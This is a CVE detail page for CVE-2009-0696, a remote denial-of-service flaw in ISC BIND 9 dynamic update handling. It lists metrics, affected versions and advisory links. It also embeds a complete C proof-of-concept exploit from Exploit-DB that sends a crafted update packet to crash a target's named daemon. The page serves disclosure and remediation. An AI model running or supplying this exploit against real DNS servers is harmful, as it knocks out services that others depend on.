CVE-2009-0696 : Detail

CVE-2009-0696

A05-Security Misconfiguration
95.5%V3
Network
2009-07-29
15h00 +00:00
2018-10-10
16h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The dns_db_findrdataset function in db.c in named in ISC BIND 9.4 before 9.4.3-P3, 9.5 before 9.5.1-P3, and 9.6 before 9.6.1-P1, when configured as a master server, allows remote attackers to cause a denial of service (assertion failure and daemon exit) via an ANY record in the prerequisite section of a crafted dynamic update message, as exploited in the wild in July 2009.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-16 Category : Configuration
Weaknesses in this category are typically introduced during the configuration of the software.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9300

Publication date : 2009-07-29
22h00 +00:00
Author : kingcope
EDB Verified : Yes

/* ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC "Based on: http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt by kingcope - this is basically a rewrite of the above, lame i know, but fun enough for the [zone] argument you can try what is in the named.conf with "type master" */ #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> #include <string.h> #define PORT 31337 struct dnspkt1 { unsigned short transact; unsigned short flags; unsigned short zones; unsigned short pr; unsigned short updates; unsigned short rrs; }; struct dnspkt2 { unsigned short type; unsigned short class; unsigned short name2; unsigned short type2; unsigned short class2; unsigned short ttl1; unsigned short ttl2; unsigned short datalen; unsigned short name3; unsigned short type3; unsigned short class3; unsigned short ttl3; unsigned short ttl4; unsigned short datalen2; }; int packdomain(char * dest, const char *src) { int i,n,cnt; n=strlen(src); dest[n+1]=0; // terminator cnt=0; for (i=n; i>0; i--) { if (src[i-1]=='.') { dest[i]=cnt; cnt=0; } else { dest[i]=src[i-1]; cnt++; } } dest[0]=cnt; return n+2; } int main(int argc, char **argv) { int sockfd, clilen; struct sockaddr_in serv_addr, cli_addr; struct dnspkt1 d1; struct dnspkt2 d2; printf("ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC\n"); printf("Based on:\n"); printf("http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt\n"); printf("by kingcope - this is basically a rewrite of the above, lame i know, but fun tough\n"); if (argc < 2) { printf("usage: %s <host> [zone]\n", argv[0]); return 0; } sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sockfd < 0) { printf("error on socket() call"); return -1; } memset(&serv_addr, '\0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(PORT); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { printf("error binding socket\n"); return -1; } memset(&cli_addr, '\0', sizeof(cli_addr)); cli_addr.sin_family = AF_INET; cli_addr.sin_addr.s_addr = inet_addr(argv[1]); cli_addr.sin_port = htons(53); memset(&d1, '\0', sizeof(d1)); memset(&d2, '\0', sizeof(d2)); d1.transact = htons(0x1cd6); d1.flags = htons(0x2800); d1.zones = htons(0x0001); d1.pr = htons(0x0001); d1.updates = htons(0x0001); d1.rrs = 0; char *name = (char*)malloc(8096); char nam[1024]; if (argc < 3) { /* Not sure if this is right to set as default, have no clue about dns proto It works for me.. */ strcpy(nam, "127.in-addr.arpa"); } else { strncpy(nam, argv[2], sizeof(nam)); nam[sizeof(nam)-1]=0; } int n=packdomain(name, (char*)nam); d2.type = htons(0x0006); d2.class = htons(0x0001); d2.name2 = htons(0xc00c); d2.type2 = htons(0x00ff); d2.class2 = htons(0x0001); d2.datalen = 0; d2.name3 = htons(0xc00c); d2.type3 = htons(0x00ff); d2.class3 = htons(0x00ff); d2.ttl1 = 0; d2.ttl2 = 0; d2.ttl3 = 0; d2.ttl4 = 0; d2.datalen2 = 0; char buffer[10000]; memcpy(buffer, &d1, sizeof(d1)); memcpy(buffer+sizeof(d1), name, n); memcpy(buffer+sizeof(d1)+n, &d2, sizeof(d2)); clilen=sizeof(cli_addr); sendto(sockfd, buffer, sizeof(d1)+sizeof(d2)+n, 0, (struct sockaddr *)&cli_addr, sizeof(cli_addr)); printf("aight!\n"); return 0; } // milw0rm.com [2009-07-30]

Products Mentioned

Configuraton 0

Isc>>Bind >> Version 9.4

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.1

Isc>>Bind >> Version 9.4.2

Isc>>Bind >> Version 9.4.2

Isc>>Bind >> Version 9.4.2

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.5

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.1

Isc>>Bind >> Version 9.6.1

References

http://secunia.com/advisories/36035
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36063
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/2171
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/36056
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36038
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.kb.cert.org/vuls/id/725188
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/37471
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36050
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openbsd.org/errata44.html#014_bind
Tags : vendor-advisory, x_refsource_OPENBSD
http://secunia.com/advisories/36192
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/2088
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1022613
Tags : vdb-entry, x_refsource_SECTRACK
https://www.isc.org/node/474
Tags : x_refsource_CONFIRM
http://www.vupen.com/english/advisories/2009/2247
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/39334
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/2036
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/36098
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-808-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/36086
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36053
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/3316
Tags : vdb-entry, x_refsource_VUPEN
http://sunsolve.sun.com/search/document.do?assetkey=1-26-264828-1
Tags : vendor-advisory, x_refsource_SUNALERT